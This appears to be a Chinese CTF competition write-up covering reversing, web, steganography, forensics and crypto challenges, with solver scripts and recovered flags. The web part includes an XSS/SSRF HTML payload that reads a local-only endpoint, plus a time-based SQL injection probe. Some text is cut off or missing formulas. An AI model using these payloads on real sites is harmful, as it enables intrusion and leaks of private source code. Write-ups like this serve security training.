ida 打开,发现没什么东西,就是根据一堆dw的值,在一个表里面选择对应的值和它下一个值异或,然后输出出来。
根据flag格式,看了一下,发现只要不和它的下一个值异或应该就是flag。
写个脚本处理一下
def int16(num):
return int(num, 16)
key = '61 4C 67 59 69 29 6E 42 62 0D 65 71 66 34 6A C6 6D 8A 6C 7F 7B AE 7A 92 7D EC 5F 57'.split()
index = '6 9 1 10 8 11 2 3 1 13 4 5 2 7 2 3 1 12'.split()
flag = ''
key = list(map(int16, key))
index = list(map(int, index))
for x in index:
flag += chr(key[2 * x])
print(flag)
结果是flg{mzing_beijing}
在加上三个a就可以了
flag{amazing_beijing}
ida 打开发现超级乱,还超级长,就直接去看输出。
把输出转成字符串。
根据flag格式,把‘flag’和输出字符串异或,发现异或的值有规律,45、44循环。
写个脚本处理一下
import re
output = '4b404c4b5648725b445845734c735949405c414d5949725c45495a51'
output = re.sub(r"(?<=\w)(?=(?:\w\w)+$)", " ", output).split()
flag = ''
key = [45, 44]
for i, x in enumerate(output):
flag += chr(int(x, 16) ^ key[i % 2])
print(flag)
结果是flag{d_with_a_template_phew}
动态爬虫,Redis Getshell。8000端口存在apache2
http://3d0666de57964c4b865e02e4088a14ac5b0522f7daa94075.game.ichunqiu.com/
[图片1]
扫描目录发现robots.txt,发现了目录get_sourcecode
访问
修改http头也没有效果
最后发现是xss+ssrf可以读取到源码,读文件脚本
上传4.html
<html>
<head></head>
<body>
<script>
var url="http://127.0.0.1/get_sourcecode";
var aaa = new XMLHttpRequest();
aaa.open("GET",url,false);
aaa.onreadystatechange = function(){
if(aaa.readyState == 4){
var a = document.createElement("a");
a.innerHTML = aaa.responseText;
document.body.appendChild(a);
}
}
aaa.send();
</script>
</body>
</html>
可以读取到源码
得到源码
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from flask import Flask, request
from flask import render_template
import os
import uuid
import tempfile
import subprocess
impo
注册一个账号登录,发现存在sql注入,进行了一些过滤,时间不够,还没做出来。
?no=1^sleep(1) %23
把flag_enc.png丢进Stegsolve,调试发现red的0通道比较特殊,猜测跟0通道有关。
于是把所有的0通道图像都保存下来(file-save as)
然后两个两个地使用Stegsolve进行Analyse--image combiner
最后发现alphe plane 0 和 green plane 0进行xor的时候会出现flag
把disk问价放进winhex,搜索16进制49484452发现有两个类似png的图片。
有一个有完整的文件头,有一个缺了文件头,手动分离出来并且给缺了文件头的图片补上文件头。
(按alt+1选定开始块,按alt+2选定结束块,然后右键即可另存出来到新文件,得到两个png。)
把两张图片截图截开成很多块,
然后一点一点地拼接到一起,最后看着图猜出flag
全场0血的crypto,然而我相信大家都是卡在其中一步,就是爆破K2上。
没有拿到flag,这个解法假设K2已知。
题目要求输入三个字符串,m1 m2 m3。看源码可知,m3就是K2,5字节,唯一有关的信息是最后输出的h1_2,是m1根据一个固定算法得到的。最后的输出是一个md5,因此可以爆破K2
然而事实是,在整个比赛周期都没有爆破出来,从alphanumeric到printable,都没有。。。意思就是K2里面还有不可见字符。。。那全场没人做出来也就可以理解了
假设K2已知,那么temp3就是0。
为了让temp2为0,需要type2_1(m1)和type2_2(m2)的结果相同:
process就是第一个字符替换为它与最后一个字符异或后的结果,那么很简单,只要m1和m2最后10字节相同且最后一个字节都是\x00
就可以绕过这一层。
temp1要求type1(m1)和type1(m2)相同,但m1和m2是不同的。这里需要md5碰撞的字符串,网上搜一下就有了。由于K1长度未知,需要填充一个固定长度的K1的后缀(或者说msg的前缀),使得K1加上后缀的长度刚好等于md5的分组长度即64字节,需要64次爆破。
有点气,早点发现的话说不定能拿一血,名次还能进个位数,可惜当时跟permgame杠上了。。。
每次拿到crypto题目的python源码时都有种prettyfy的冲动,例如改成这样:
def shitty_hash(msg):
h = 45740974929179720441799381904411404011270459520712533273451053262137196814399
g = 0x1000000000000000000000000000000000000000163 # 2**168 + 355
for i in map(ord, msg):
h = (h + i)*g
# This line is just to screw you up :))
h = h % 0x10000000000000000000000000000000000000000000000000000000000000000
return h - 0xe6168647f636
题目通过上面的算法生成字符串的hash,把代码写成数学表达式:
表示字符,那么上式的变量部分只有中间的多项式。本来卡在这里了,晚上再仔细一查,发现这种通过多项式生成hash的算法叫做rolling hash,然后找到了一篇论文描述如何在的情况下生成碰撞的原像,不再赘述。